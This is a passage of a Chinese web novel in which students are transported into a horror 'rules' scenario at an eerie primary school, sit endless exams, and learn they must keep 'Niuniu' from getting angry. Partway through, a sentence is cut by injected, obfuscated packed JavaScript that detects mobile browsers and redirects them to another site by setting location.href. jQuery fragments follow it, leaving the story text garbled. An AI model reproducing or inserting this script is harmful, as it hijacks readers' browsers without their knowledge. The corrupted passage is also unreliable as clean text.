当箭尾触及唇角时,少年眯起右眼,很快,三指松开,箭矢划破空气,正中18米外的把心,旁边的观众席瞬间涌起一阵惊呼。 “牛啊李确!!!” “这准头太强了,连续三次都是正中靶心,感觉可以去参加专业比赛了吧?” “课代表长得文文气气的,没想到拉起弓来这么猛,你刚看见他手臂肌肉的线条了吗?好清晰啊!” “帅爆了简直!” …… 听到这些吹捧和夸赞,女孩的嘴角也忍不住跟着扬起弧度,她把食指搭在快门键上,正打算再偷偷多拍几张照片,忽然感觉肩膀被人从身后拍了一下。 “雅宜,你拍谁呢?” 突如其来的触碰把周雅宜吓得一激灵,相机从手中滑落,但所幸相机带子还挂在她脖子上,所以没直接摔下去,镜头碎成稀巴烂。 “筱筱。”周雅宜回头,惊讶的语气中带着明显的惊喜:“你怎么来了?!” 这一句直接把苏筱筱整蒙了,她站在高两级的台阶上,干巴巴地眨了眨眼睛,有点摸不着头脑地问:“学校运动会,我不能来参加吗?” “啊,我不、不是这个意思,我就是……”周雅宜这才反应过来自己说错话了,抱着相机不知该如何补救。 就在这时,场馆里响起播音员的报幕声—— “接下来即将进行的比赛是女子1500,请高二(一)班冯小彤,高二(二)班秦靖,高二(三)班温初夏,高二(四)……” 等等,谁?! 周雅宜怀疑自己的耳朵是不是听错了,立刻抬头去看苏筱筱,一双圆眼睛睁的老大:“你不是说已经把她的名字取消了吗?!” 苏筱筱本来也正懵着,但一听见周雅宜这个语气,心里猛地窜起一阵火来,第一次和周雅宜对着呛:“我说是取消了那就是取消了,至于这种事都骗你吗?在你心里我他妈到底已经成了什么人了??!” 见苏筱筱红着眼眶,悲愤交加的情绪不像是演出来的,周雅宜一时也没法判断她究竟说的是真是假,当务之急,是赶紧找到温初夏,别让她真的上跑道,不然弄不好真会出事故的。 周雅宜二话不说,转身就往起点跑去。 但时间已经来不及了,她刚下完台阶,就远远地看见一身长袖长裤的温初夏站在距离自己大概三百米远的起跑线后,蹦蹦跳跳,正在做热身准备。 而她旁边,充当裁判的老师已经举起了发令枪。 就在这样的十万火急之间,周雅宜脑子里冒出的第一个念头居然是—— 温初夏穿成这样跑步不热吗??? 旁边的选手穿的都是短裤短袖啊!你想中暑是吗??! 因为这片刻的愣神,周雅宜不小心和一名过路的同学狠狠撞上了。 “小心。” 李确低声叫道,没拿弓箭的左手下意识扶住了她的胳膊。 周雅宜顾不得尴尬和抱歉,赶紧抓住李确的手,急切地对他说:“李确,我求求你了,你快去那边起点把温初夏叫住,她身体不行不能跑1500的,可能会出人……” “命”字还未脱口,“嘭!”的一声,发令枪响。 起跑线后的十来名选手立刻像离弦之箭般冲了出去,温初夏的身影混在其中,速度居然一点儿也不比别人慢,甚至好像还在前三。 周雅宜:…… 这种被欺骗了的感觉,好熟悉啊。 然而,还没等她完全接受“温初夏其实很能跑”这个炸裂的事实,忽然感觉四周一阵地动山摇,好像是发生了八级地震。 李确立刻把弓箭扔在地上,两手扶稳周雅宜,再四平八稳的人遇到这种情况也很难不会惊慌失措,他声音有些颤抖:“这是地震了吗?我们快躲……” “来不及了。”周雅宜面如纸色,绷着嗓道:“你看哪儿!” 李确闻声转头,眼前毛骨悚然的景象让他的瞳孔骤然缩成一点。 这是字面意义上的天崩地裂,一条巨大的裂缝横贯过塑胶跑道,将整个体育馆劈成两半,裂缝里一片漆黑,仿佛底下隐藏着万丈深渊。 所有人都被眼前的场景吓得不敢动弹,甚至有的直接晕了过去,唯有一人除外。 那个人就是温初夏。 她仍在向前奔跑,仿佛并没有意识到周围正在发生怎样可怕的事情,看似瘦弱的身体在此刻竟爆发出惊人的潜能,甚至双腿都有些跑出残影。 她目标明确地一路冲刺到裂缝边,然后,纵身一跃。 “你疯啦?!!!” 周雅宜目呲欲裂。 温初夏她,跳下去了。 27. 第 27 章 也不知道是半夜几点。 森林被浓稠的黑暗所笼罩,空中弥漫着浓厚湿冷的雾气,像一层暗色的膜,让原本就不高的可见度下降到几乎为零,两米之外人畜不分。 冷。 尼玛的太冷了!!! 温初夏从潮乎乎的枯草地上站起,拍了拍裤子上的松针,感觉自己提前贴在胸前后背和两条大腿上的暖宝宝一点儿用都没有,冰冷的空气吸入鼻腔能直接把鼻涕给冻成霜,又痒又疼。 她把麻木的双手放在嘴边哈了口气,小声嘀咕:“怎么感觉比上次还冷呢……” 这么感人的气温,也不知道其他人会不会没到集合地点就先冻晕过去,毕竟白天运动会上,那群少爷小姐们穿的几乎都是短袖。 散发着轻微荧光的粉团子在脚边跳了跳,喊道:“宿主,我在这儿呢。” 温初夏弯腰把粉团子捡起来,端详了会儿,感觉也没法把她当个灯,拿着还嫌冻手,于是揣进兜里,脚尖随便挑了个方向就开走。 温初夏故意步子迈得又快又大,没两分钟就把梆硬的四肢给活动开了,一开口,嘴里立刻仙气四溢,为周围的浓雾添砖加瓦。 她问:“总部那边有说原界面什么时候能修好吗?” “最迟五个月,最快两个月。”粉团子的声音闷在衣服里,“但保险起见,宿主你还是老老实实按部就班地把这个副本给走完吧,别老想着压缩进度条,小心又翻车。” 这话温初夏就不爱听了,“欸”了声:“什么叫‘又’,能讲点儿吉利的不?” 她头头是道:“这个无限流副本是我以前走过的,难度系数算那本小说所有副本里头最低的,而且刚好还是校园题材,非常适合作为原界面修复好之前的缓冲——就是可能过程会稍微辛苦一点,不过反正他们都是学生嘛,应该能适应……” 上周五被“自己亲错人导致界面没救了”的消息震惊到找不到北之后,温初夏坐在出租屋的弹簧床上发了半个世纪那么久的呆,终于灵光一闪,把亲爱的北找了回来。 她想出了个绝好的法子,那就是把原界面的主要角色,外加一部分被选中的“幸运鹅”通通都搞到另一个界面去,方便总部对快要垮台的原界面进行修复弥补。 这就好比一群兔子在窝里打架,把窝打得乌烟瘴气乱七八糟,如果想要修好窝,首先要做的第一件事,就是先把这群暴力拆迁办的兔子腾到另一个窝去。 不然你这边儿一边修,它们那边儿一边继续闹腾,猴年马月也修不好啊。 但已经看过副本梗概的粉团子呵呵两声,表示怀疑:“恐怖校园也算校园题材?” 温初夏语气轻快,甚至带了一丝小小的兴奋:“那怎么不算——只要是在学校发生的故事,都叫校园题材。” 很快,萦绕在四周的浓雾有了逐渐消散的迹象。 又走了没一会儿,一道不知名的光源穿过稀薄的雾气照进眼底,于是她的脚步愈发加快,终于来到一扇锈迹斑斑的大铁门前。 温初夏仰头,铁门之上立着散发出暗红色霓虹光的五个大字:向日葵小学。 又顺着铁门宽大的缝隙往里一瞧,黑漆漆的啥都看不见,甚至连旁边的保安室也是空的,厚玻璃窗上凝结着深黄色的灰,窗框边缘的漆皮脱落了大半。 荒郊野岭平白出现一所学校就算了,学校的画风还如此诡异,是个人都不会想进去。 但温初夏没有丝毫犹豫,伸出一根手指,轻轻推开并未上锁的大门,动作略有些嫌弃,因为这门上也全是灰。 显然,自己是第一个找到这儿的人。 门开的同时,一道催人尿下的嘎吱声划破夜晚的寂静。 这声音难听极了,就像已经干嚎俩小时的职业哭丧人一不小心劈了嗓子,刺耳又诡异。 温初夏没急着进去,而是用力在门口的泥地上跺了跺脚,踩出几个明显的脚印,提示后来的人这里有人进去过,不怕死的可以跟进来。 当然,就这荒郊野岭天寒地冻的,哪怕怕死的也得跟进来。 “轻点儿轻点儿。”粉团子在兜里快晃吐了,但还是担心道:“你右腿不是有伤吗?” “已、经、好、辣!” 温初夏一字一脚,确保印记足够清晰后,抬头喘了口气,走进铁门,搓着冷冰冰的手解释:“脱离原界面前一小时就好了,不过等以后回去了还是得继续当个半瘸。” 学校规模很小,进去后见到的第一个建筑是一栋教学楼,外观和清荟的高二楼一样,却要破旧一百倍。 外墙的水泥面斑驳不堪,大块大块的墙皮卷着边往下掉,露出里面青灰色的砖块,有些地方甚至裸露出锈蚀的钢筋。 仿佛上帝把时间轴往后调了一百年,曾经庄严大气的楼宇被光阴消磨成一本翻烂的旧书。 整栋楼里唯一亮着的地方,就是二楼左侧的一间教室。 温初夏上楼,走进去,发现里面空无一人,环境比外面还破败,黑板窗户桌椅板凳全都是一成新,属于扔废品回收站也只能拿来当柴烧的类型。 进教室的第一件事情就是去摸暖气片,温初夏试了试,居然还能开,就是效果甚微,索性开着当个安慰。 做完这些后,她随便挑了个靠后的位置坐下,静等其余人入场。 “这到底什么情况?我们刚才不是在开运动会吗,还地震了,怎么又会突然出现在这种鬼地方??!” “我刚一睁眼还以为自己被绑架了,手机也没信号,在林子里瞎转了好久才找到这儿来。这地方太诡异了,感觉除了我们之外根本没其他人啊!” “嘶——好冷啊好冷啊好冷啊,为什么这么冷,现在不是已经入夏了吗,我快冻死了!谁有外套能借我一下不?等有信号了我给他转三千……不,五千!” “呜呜呜这到底是哪儿啊,谁把我们带到这儿来的,我好害怕我想回家呜呜呜……” 温初夏内心淡定的一匹,但为了避免过于突出,她凭借精湛的演技和陆续进教室的人嘤嘤嘤打成一片,嘴里不停重复“天好冷”、“我好害怕”、“到底发生了什么”这几句话,眼角甚至泛起两道茫然无措的小泪花。 兜里的粉团子:装什么装啊你。 直到最后一位倒霉同学进入教室,前后两扇褪成暗褐色的红漆木门立马见鬼般自动关闭,动作整齐划一,连“嘭”声都是重叠的。 吵闹的人群瞬间静音,随后,教室里响起广播,是个年轻女声,和平常大考时“离考试结束还剩十五分钟,请注意把握时间”的广播音色非常相似。 但不知道是因为挂在天花板角落的喇叭太老旧,还是因为信号不太好,这广播的电流声非常明显,原本专业严肃的播音腔被锈蚀的细线绞碎,触目惊心地砸进耳膜。 “现在是北京时间3月7日晚21点整,所有考生均已入场,下面即将开始考试,请各位考生抓紧时间入座。” 所有人都被这一神发展给惊懵了。 空气凝固了足足三秒,才终于有人瞪直双眼,艰难地从嗓子里挤出几个走音的字: “她说什么?考试??!” 鸡皮疙瘩爬上后背,教室里一派六十神无主—— “为什么广播说今天是3月7号?今天明明是运动会第一天,是5月16啊!时空穿梭机还没发明出来吧……” “这、这劫匪什么脑回路?费这么大功夫把我们绑到这儿来,直接跟我们父母打电话要赎金不就行了,考什么试啊?” “我不会没睡醒在梦里吧?谁能打我一下……嘶!季明轩你下这么重的手想死啊?!” “嘤~不是你说要打你一下的嘛。” 他们提前检查过,教室里没有任何监控器的踪迹,却仿佛有一双无形的眼睛在注视着这60个人的一举一动。 广播再次响起: “请各位考生抓紧时间入座。” 这句话每三秒响一次,重复了五六遍后,学生们才惊疑不定地随便找位置坐下,60个人配60张桌凳,数量诡异地刚刚好。 刺耳的“哔——”声后。 “第一场,语文,考试时间,60分钟,下面考试开始。” 什么玩意儿?这就开始啦?? 没有试卷没有笔没有监考没有挂钟,黑板旁边倒是挂着个和钟一般大的温度计,显示的温度是3℃,也不知道是真是假…… 下一秒,空荡荡的桌面中央凭空出现了一张底色泛黄的试卷,左页最上面写着“语文”两个字,同时右手边躺了一根平平无奇的按压式黑色中性笔,还是晨光的。 本来还坚信他们是被劫匪绑架了的一群少爷小姐瞬间集体崩溃,不管男的女的都开始尖叫,惊慌和声音和绝望的哭喊混成一片—— “有鬼!教室里绝对有鬼!!!” “什么情况这是,我、我们还活着吗?还是已经死了?” “呜呜呜妈妈,有没有人来救救我们……” 第二排的小胖子忍受不了这个气氛,直接一拍桌子站起来,白嫩的肉脸上挂满了汗和泪,冲着空气咆哮: “滚你妈的!你到底是谁?绑我们到这里来是想干什么?不说话也不出面,我凭什么听你的话考试?!老子偏不考!” 说完,他径直走到前门,想要出去,结果却发现木门是没有把手的,推又推不开,情急之下直接拿脚去踹。 “嘭!嘭!嘭……” “啊——!” 当踹到第三脚时,小胖子忽然发出一声痛苦的惨叫,重重摔倒在地,吨位把窗玻璃震得框啷响。 他身体不停抽搐着,嘴里冒出一缕灰白色的烟,头发根根树立,看起来像是触电了。 众人心中一凛,立刻放弃了要和他一起砸门逃跑的心思。 广播冷冰冰地提示:“距离考试结束还有57分钟,请注意把握时间。” 这下没人再敢吱声了,等地上的人停止抽抽之后,前排的三个男生合力把小胖子扶回座位坐好。 随后,安静得仿佛抽了真空的教室响起“咔哒”一声脆响,突兀极了。 四肢冻得僵硬的周雅宜闻声侧过头,看见右边座位正在低头剥笔尖密封胶膜的温初夏,太阳穴突突跳,压低声音问:“你傻啊?广播叫你做你就真做啊?” “不然呢。” 温初夏把卷子旋转90°,在信息栏写下自己的名字,不急不缓的声音传遍教室的每一个角落:“反正现在又出不去,先考着呗,看看考完后这个破广播又要放什么屁。” 见平日里四平八稳的学神都爆了粗口,其余人心中那股发毛的恐惧感顿时减轻了不少,被温初夏嚣张又淡定的气场所感染,也纷纷用冻僵的手拿起笔,开始写起来。 然而没写两题,刚活泛起来的情绪就又沉了下去。 “我擦这什么恶心题啊,我哪儿怎么知道林黛玉第一次葬花葬的是什么花,老师又没讲过。” “问鲁迅究竟有多少个笔名,请列举至少十个……不er,我就只记得他原名叫周树人啊,讯哥儿笔名这么多的吗?” “怎么全是填空和简答,没有作文吗?” …… 时间好像过得格外慢,又格外快。 60分钟结束,绝大部分人都没能把这一张两面四页的单薄小卷儿写完,铃声打响的那一瞬,语文卷自动替换成了数学。 依旧是六十分钟。 “我日怎么第一题就是微积分啊,这不是大学高数的内容吗!” “这真的是英语?为什么单词我都认识,但连起来就读不懂了呢?” “能休息一下吗?连考三场真的要吐了。” …… “地、地理??!拜托我理科生诶,能换张物理卷儿吗?” “哈哈,全是天体题,还不如做地理。” “不行不行我真的要吐了,连考七门都不让休息,我不做了。” “让我写煤气爆炸的化学方程式,题目你好歹把反应前后的物质告诉我吧!不然我还能凭空编吗?” “简要描述英国诺曼王朝时期的建筑风格……真好,这历史题我一个文科生听都没听过。” …… 终于九门科目全部考完,教室里一片死气沉沉,一半是被刁钻的题目给气的,一半是被连续九个小时高强度脑力劳动给累的,本就见底的精力被榨干得一滴不剩,连恐惧和警惕的力气都没有。 而这么长时间过去,窗外的天色依旧是一片浓厚诡异的深黑,仿佛世界被巨兽一口吞入了咽喉,再也看不到太阳升起。 “所有考试均已完成,下面公布各科考试成绩。” 学生们刚趴在桌上大脑放空不到一分钟,就硬生生被这句催命的广播给提溜起来。 他们甚至都不惊讶为什么一考完就能出分了,毕竟近十个小时内发生的怪事已经把他们的唯物主义信念打了个七零八落。 黑板右侧,脏兮兮的幕布缓缓下降,接着投影仪自动打开,画质渣的仿佛镜头前蒙了2cm厚的灰,很让人怀疑是不是来自上个世纪的产物,但努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504861|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁大眼还是勉强能看清的。 试卷都是百分制,第一名不出意外还是温初夏。 除了数学100英语97物理91之外,其余科目都在70-90分之间,总分783,甩了第二名时准接近四百分。 其余人还要更惨,各科平均分普遍在17-25之间。 大家纷纷把目光投向坐在教室中心靠后的温初夏,不少人向她竖起大拇指,夸赞道:“厉害啊!”“我数学题目都读不懂,你居然考满分?!”“英语不是你的弱项吗,怎么分儿这么高!” “天呐哈哈哈,周雅宜你物理只考了9分欸。” “季明轩你想死是不是?!你英语不也只考了12,选择题全选C蒙的吧?” “我这辈子语文都没考这么低过,但好神奇,我居然一点儿也不难过欸。” “这有什么好难过的,又不是正经考试。” …… 感受到教室里逐渐活跃起来的气氛,温初夏默默为稍后大家的精神状态捏了一把汗,因为—— “哔——” “很遗憾,妞妞没有成为第一名,考试重新开始。” 原本嬉闹的人群瞬间石化,温初夏不忍直视地闭上眼。 这个副本最坑爹的地方就在开始这块儿。 其余人:“……” 重新开始是几个意思? 就、就字面上的意思吗??? 回答他们疑惑的是广播冷漠无情的声音—— “现在是北京时间3月7日晚21点整,所有考生均已入场,下面即将开始考试。” “第一场,语文,考试时间,60分钟,下面考试开始。” 空荡荡的桌面再次出现一张试卷,左上方的科目写着“语文”二字,连中性笔也换成了全新的。 “……” 教室一片死寂。 怪不得他们在教室里呆了快十小时了天都不亮,原来这里的时间是可以被重置的。 有人起身来到后门,伸手在门板上轻轻推了一下,只听“滋”的一声。 他立刻跳起脚:“卧槽卧槽!怎么碰一下也要被电啊?!” 完了,还是出不去。 “噗叽。” 坐在前排角落的姜荞语实在忍不住,哭了出来。 她两手紧紧捂住脸,低声抽泣:“怎么办,我们是不是出不去了,要永远被困在这儿一直做题……” 其余人受她感染,爬满红血丝的眼底也或多或少涌起一层无措的水光,教室里的气氛瞬间绝望到了谷底,跟坟场没啥区别。 “嘭”一声,周雅宜脱力般趴倒在桌面上,虽然没有哭出声,但肩膀抖动得非常厉害,一看就是精神崩溃了。 虽然走这个副本是温初夏不得已而为之的选择,但看见周雅宜崩溃成这样,她良心还是略有些不安,正要开口说话,没想到却被李确给抢了先。 “大家先别灰心,我觉得我们应该分析一下刚才那句话。”少年清亮的声音透着浓浓的疲惫,语气却是着急的。 他回忆道:“刚才广播说的是:很遗憾,妞妞没有拿到第一,所以要重新再考一遍——这是不是在提示我们,必须让妞妞拿到第一名,然后才会放我们出去?” 温初夏隔空冲他一点头:“同意。” 受到鼓励的李确腼腆地笑了笑,继续往下:“如果逻辑成立,那事情就变得很简单了,我们只需要先弄清楚‘妞妞’到底是谁,然后让TA这次考试拿到第一名就行。” “从名字来看,‘妞妞’应该是个女生,但也不排除会是男生的可能,不过可以肯定的是绝对不会是温初夏,因为她上一轮就是第一。” 说着,李确眼神扫过教室里的每一个人,问:“大家有谁的名字里有‘妞’字,或者是小名叫‘妞妞’的吗?” 女生们纷纷摇起头—— “我小名不叫这个。” “我也是。” “在座的女生我都认识,没有谁名字里有带‘妞’字的。” 听大家都在表态,周雅宜也直起背,擦干眼泪,向李确摇了摇头。 “那男生呢?” 还是都摇头。 没想到这条看似正确的道路居然这么快就变成了一条死胡同,空气又陷入了沉默,但比刚才那种死气沉沉的氛围要稍好些,因为大家现在都开始琢磨和思考。 虽然,也思考不出个所以然来。 “大家有谁认识的人里面有叫‘妞妞’的吗?” “感觉只有妈妈或者奶奶辈会起这种小名。” “你这么一说我倒想起来了,我太奶奶好像名字里就有个‘妞’字,嘶,但具体叫什么我给忘了。” “这年代也差的忒多了吧。你看这教室的装修和设备,虽然破,但怎么着也得是80年代往后吧。” …… 季明轩左听听右听听,就是听不到一个靠谱,越发心急如焚,想着不在沉默中爆发就在沉默中灭亡,他终于憋不住了,仰天长啸一句:“能不能我现在立刻马上改名叫妞妞啊??!” 其余人:“……” 温初夏:!!! “你疯了是吧?”周雅宜觉得丢人死了,抓起笔往他身上扔。 “诶——别打孩子别打孩子。” 温初夏忙把掉在地上的笔捡起来,放回周雅宜桌子上,然后十分感激地拍了拍季明轩的肩膀,强憋着笑道:“谢谢你提醒我,我知道该怎么做了。” 在众人迷茫的目光注视下,她回到座位坐好,规规矩矩地举起右手,清清嗓道:“你好,为了节约时间,我想申请九科试卷一起发,一起考。” 虽然广播没有理人,但五秒之后,每个人的桌子上居然真的多出了八张试卷! 众人:“……” 好诡异,还能这么人性化吗? 卷子一发,温初夏拿起笔就开始写,同时对其他人道:“大家不用动笔,等我两分钟,很快就好。” 清冷沉稳的嗓音莫名很值得信赖。 于是,在接下来的两分钟时间里,挤满人的教室只能听见一个人奋笔疾书的唰唰声。 “好了。”两分钟后,温初夏啪地把笔拍在桌上,“收卷吧。” 桌面上的卷子消失,投影仪又亮了起来,这回幕布上只显示出一个人的成绩。 姓名:妞妞 语文:5分数学:5分英语:5分物理:5分…… “吱——” 原本踹都踹不开的木门,打开了。 28. 第 28 章 人群迫不及待地往门外涌去,摩肩擦踵好像爆开的沙丁鱼罐头,但都默契地和温初夏保持至少十厘米的礼貌距离,以示敬意。 里三层外三层的夸赞将她包围—— “初夏你简直太机智了,没想到直接在姓名栏里写上妞妞的名字就能通关。” “是啊,要是没有你,我们可能真得再考上两三轮才能反应过来,太谢谢你了!” …… 拥挤的楼梯间,季明轩默默瘪了瘪嘴。 “其实也不全是我的功劳。”温初夏赶紧谦虚起来,生怕被人怀疑她是不是提前知道些什么。 “如果不是季明轩那句话提点了我,我也不会这么快反应过来,你们更应该谢谢他才对。” 于是热烈的赞美又涌向另一边,言语间的温度让刺骨的空气都变得温柔起来。 “轩哥牛逼!” “超棒超棒。” “脑回路太逆天了。” “确实。”宋云泽左手搭上季明轩的右肩,右手暴力地揉搓了下他的头,“我第一次发现你脑子居然还有好使的一面,可喜可贺啊。” “欸,过分了啊。”季明轩从愣神中反应过来,佯装生气:“我脑子一直都很好使的好吗,只是懒得用在学习上罢了。” 李确浅笑着:“嗯。今晚多亏了你和温初夏。” 听身边人都在夸季明轩,周雅宜抱着胳膊,也勉勉强强地说了一句:“对不起啊,刚才不该扔你笔的,怪我没控制好脾气。” 这一声道歉混在嬉闹的人堆里并不突出,但季明轩听后,却狠狠倒抽一口冷气。 “怎、怎么了?”周雅宜有点被吓到。 她以为是又发生什么怪事了,心脏猛地揪起来,谁知季明轩却如临大敌地“呔”了一声,问:“你究竟是什么东西,居然敢附我表姐的身??!” 周雅宜:“……” 随即拳头硬了:“你小子想死是吧?!” 两人一个追着打,一个跑着躲,人群又吵闹起来。 温初夏默默听着,欣慰地想:刚刚经历了这么恐怖的事还能笑出来,说明自己挑人的眼光还是很不错的,虽然成绩水平参差不齐,但好在全都是乖宝…… 忽然,她的掌心被人挠了一下,一个熟悉的声音附到耳边轻声说: “在我心里,你才是最聪明最厉害的。永远都是。” 垂在身侧的手臂一僵。 温初夏咽了口唾沫。 差点忘了,这位可绝对不能算是乖宝宝。 虽然他确实和宝宝一样幼稚。 不出意外,学校大门果然锁住了,出不去,一群少男少女只好又折回教学楼,发现原本二层那间亮着的教室已经熄灯了,整栋楼黑成一片。 再往前走几步,教学楼之后的宿舍楼却十分亮堂,灯火通明,并且也不算很破,至少没掉墙皮,看起来似乎很安全的样子。 可又因为楼里极为安静,甚至可以说是寂静,紧绷的空气如同受力过度的玻璃,看似一览无余,实则隐藏着随时爆裂开的可能。 “我们,要进去吗……” 说这话时,李书雪下意识看向温初夏。 其余人也纷纷把目光投向人群的中心。 经过刚才的事,温初夏现在俨然已经成为这群高中生的主心骨了,连站的都是C位。 “进。”温初夏的语气没有多笃定,但充满理性。 “大家都很累了,天气又这么冷,手机还没信号,一时半会儿也找不到人来救我们。虽然我也不清楚绑我们来这儿的人到底是出于什么目的,但既然刚才在教室,对方并没有真的伤害我们,那现在应该也不会,所以……” 一阵冷风吹过,温初夏耸肩打了个寒颤,搓着胳膊继续道:“进吧。虽然不知道会面对什么,但呆在外面百分百会被冻死,更何况我们有60个人,管他是人是鬼,就算是成了精的大象,我们一人一脚,也能踩趴下。” 诙谐的玩笑成功缓和了紧张的气氛,不少人都笑了出来,并认为温初夏说的确实不错,如果那个在暗中操控一切的家伙真的有歹心,刚才就不会放他们出教室了。 于是大家壮起胆,你牵着我我拉着你,探索面前这栋隐藏着未知恐惧的寝室楼。 里面果然没有人,一层是男寝,二层是女寝,三楼是锁着的不让继续往上走。 寝室都是六人间,一层五间二层五间,刚好够在场的三十个男生和三十个女生住。 在暂时排除危险之后,这群高中生就像玩起了沉浸式的实景剧本杀,把一二层能翻的角落统统翻了个遍,精力旺盛的实在不像是刚考完九门考试的样子。 甚至还研究起了墙上的“寝室规章制度”。 “为营造安全舒适文明和谐的寝室生活环境,维护正常的寝室生活秩序,特制定本规章制度,望全体寝室成员严格遵守。” “一、作息制度:晚22:00至次日早6:30为熄灯休息时间,届时所有寝室必……” 李书雪第一条还没念完,忽然头顶那一排粘了灰的灯管全部熄了,四周立刻变得伸手不见五指。 “啊!” 周雅宜尖叫一声,和李书雪抱作一团,像一只受惊的小兔子,黑暗中眼睛瞪得大大的,惊恐道:“救命啊!这是闹鬼了还是停电了???” 楼下也传来男生在“卧槽”的声音。 刚用冷水漱完口洗完脸的温初夏从【201】出来,拍拍门框,没好气道:“是熄灯不是停电,现在已经十点了,赶紧进来睡觉吧。” 门口拧成麻花的两人这才松开,半尴不尬地先后进了寝室。 一进屋,一股混杂着霉味与旧物气息的沉闷空气便扑面而来,仿佛时光在这里凝滞了许久。 周大小姐自从出生以来,别说住了,这么破的房间就连见都没见过。 她抬手捏了捏铁架床的竖杆,表面的油漆早已斑驳脱落,露出底下锈迹斑斑的金属,忍不住嫌弃地皱起眉。 “我们真的要睡在这种鬼地方?” “不然还能住哪儿。” 温初夏踩着楼梯到上铺去,发出“咯吱咯吱”的声响,她盖上冷冰冰还散发着霉菌味儿的厚被子,躺下,轻声道:“有地方住就不错了,赶紧睡吧,明天还不知道要面对什么呢。” 大小姐也知道他们现在别无选择,哼唧两声后,认命地去小阳台洗漱。 …… 第二天六点半。 起床铃响起的第一秒,温初夏就睁开眼,翻身下床。 天刚蒙蒙亮,太阳被厚重的云层挡住,只透出一点惨淡的日光,被冰水浸泡过的毛玻璃。 天气还是那么冷,捂了一晚上都没能成功暖起来的双脚,在离开被窝没两秒后直接化作冰坨,踩在硌脚的梯子上一点儿感觉都没有。 狭窄的衣柜里放着六套一模一样的冬季校服,温初夏拿出一套穿上。 校服上身是藏蓝和白色拼接的棉衣,左胸处缝了一朵小小的向日葵,是学校的校徽,下身是一条侧面带白条纹的藏蓝色绒裤。 比清荟小资风的西式制服臃肿很多,但好在保暖。 半小时后,六十个学生穿戴整齐,到教学楼前集合。 没有了夜晚自带的恐怖氛围的加持,白天的学校看起来要正常许多,就是空点儿,破点儿,至少不再像鬼屋了。 “这衣服简直太丑了。” 第八遍说完这句话后,周雅宜把上衣拉链拉到最高,然后两手继续互相搓着,力道大的仿佛是在钻木取火,防水面料的袖口摩得唰唰响。 站在她斜方的温初夏忍不住道:“你兜里有虫咬人啊?” “啊?”周雅宜一愣,抬头,然后反应过来:“我搓手不是冷,是痒。感觉可能是过敏了,毕竟那个宿舍那么脏,我觉得我们今天必须要做个大扫除……” “过敏了?我看看。” 温初夏上前握住她的手腕,翻过来,眉头瞬间一皱。 “不是过敏,这是冻疮。” “冻疮?” 没想到周雅宜露出一副很茫然的表情,眨眨眼问:“那是什么?算过敏的一种吗?” 温初夏:“……” 我跟你这个生活常识为零的大小姐没啥好说的。 她强行把周雅宜的两只手塞进校服两边的口袋里,警告道:“不想留疤就忍着,不许摸也不许抠。” 一听可能会留疤,周雅宜瞬间老实了,就算手背痒的仿佛有蚂蚁在里面爬,也绝对不挠一下。 季明轩站在时准身边,用胳膊肘轻轻捅了捅他,问:“你说,广播叫我们到这儿来集合是要干嘛呢?” 时准立刻收回黏在某人后脑勺的视线,淡淡地回:“不知道。” “那……”季明轩又问,“你和宋云泽之间是不是闹矛盾了啊?昨晚在寝室你俩都不说话。” 时准看他一眼,还是道:“不知道。” 说完就走开了。 “欸……”季明轩扬起眉,想叫住时准。忽然,身后响起一声嘹亮的口哨,把他吓得一激灵。 众人纷纷扭头,从教学楼右侧的楼梯口居然走出来一位陌生的小男孩。 年纪最多十岁,身高大概一米四,又大又圆的头好像一颗海胆,身材偏瘦,脸上却肉嘟嘟的,应该是天生的胶原蛋白过剩,塌鼻梁上还架了副呆板的黑框眼镜。 众人都被这位不知道从哪儿冒出来的小男孩惊呆了,一动不动,心里怀疑他到底是人是鬼。 直到离得最近的姜荞语弯下腰,双手撑着膝盖,好声好气地问:“小朋友,你怎么会在这里啊?你是这儿的学生吗?” “你们才是学生。” 男孩声音细的像是女生,语气却严肃又老成,明明白嫩的眉间挤都挤不出条褶来,却非要保持着皱眉的表情,有种小孩强装大人的滑稽感。 他说:“我是你们的数学老师,我姓冯,你们要叫我冯老师。” 双眼瞪大,姜荞语怀疑这小孩儿是不是在恶作剧:“可、可你才几岁啊??!” 但小男孩没再理会她,而是低头看了看腕表,放下手时说:“现在是7点25,早上第一节课的上课时间是7点30,还有不到五分钟,你们可以去宣传栏看看学校的校规校训,然后回教室上课。” 因为身高有限,这位自称“冯老师”的小男孩只有把头仰成45°,才能让威严的视线从每一名学生迷茫的脸上扫过。 “迟到一秒,罚站一天。” 气势汹汹地撂下这句威慑力小的可怜的警告后,他转身上楼。 呆若木鸡的鸡群—— “他刚才说,”周雅宜的语气充满了不确定,“他姓冯???” “嗯。”扫眼一看,发现这人口袋里在动来动去,温初夏一巴掌拍在她胳膊上,“抠抠抠!抠破皮留下疤你就老实了。” 这回,大脾气小姐罕见地没有和她计较,而是激动道:“我们数学老师也姓冯啊,而且你不觉得他和冯老师长得,有那么一点点像吗?” 何止一点点,都是火柴人身材+汤圆脑袋,某些五官细节也全都对的上,完全就是冯佑的返老还童版! 这个学校太神奇了,怎么老师变成小孩儿了也还是老师,这算不算雇佣童工啊? 有人大喊:“大家快来看啊,这边公告栏上多了张纸!” 闻言,众人连忙围了过去。 脚慢一步的只能贴在最外圈,但心里又很好奇,于是踮起脚尖想往里挤,把前面的人挤的脸都快贴玻璃上了,干脆大声念起来—— “向日葵小学学生行为规范守则: 1.全校共两班,每班30人,分班名单详见教学楼二层的告示; 2.周一到周五,每天上午7点30-12点,下午2点30-5点为上课时间,学生不得迟到早退或旷课,否则妞妞会很生气; 3.学生必须尊师重道,不得处罚、责骂、伤害老师,尤其不能把他们弄丢,否则妞妞会很生气; 4.每月第一周的周末举行一次月考,月考成绩的平均分将作为学生校园卡的积分,用于在小卖部采购生活用品。 注意,每次月考妞妞必须拿到第一名,并且九门课程的单科成绩不得低于90分,否则妞妞会很生气; 5……” 总之通篇读下来,这个表面行为守则,实则规则怪谈的玩意儿重点就一个:不能让妞妞生气。 